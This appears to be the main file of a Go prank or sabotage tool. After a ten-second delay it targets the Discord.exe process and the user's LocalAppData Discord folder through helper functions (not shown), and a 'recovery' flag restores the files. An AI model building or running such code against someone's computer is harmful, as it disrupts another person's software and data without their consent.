package main import ( "flag" "fmt" "os" "time" "github.com/Merith-TK/utils/debug" ) var recovery bool func init() { flag.BoolVar(&recovery, "recovery", false, "Undo Fuckery") } func main() { flag.Parse() if recovery { restoreFiles() return } userdata := os.Getenv("USERPROFILE") debug.Print(fmt.Sprintf("USERPROFILE: %s", userdata)) localAppData := os.Getenv("LOCALAPPDATA") debug.Print(fmt.Sprintf("LOCALAPPDATA: %s", localAppData)) programs := []string{ "Discord.exe", } time.Sleep(10 * time.Second) files := []string{ fmt.Sprintf("%s\\Discord", localAppData), "file2.txt", } for _, program := range programs { err := goonProgram(program) if err != nil { debug.Print(err) } } for _, file := range files { err := goonFiles(file) if err != nil { debug.Print(err) } } }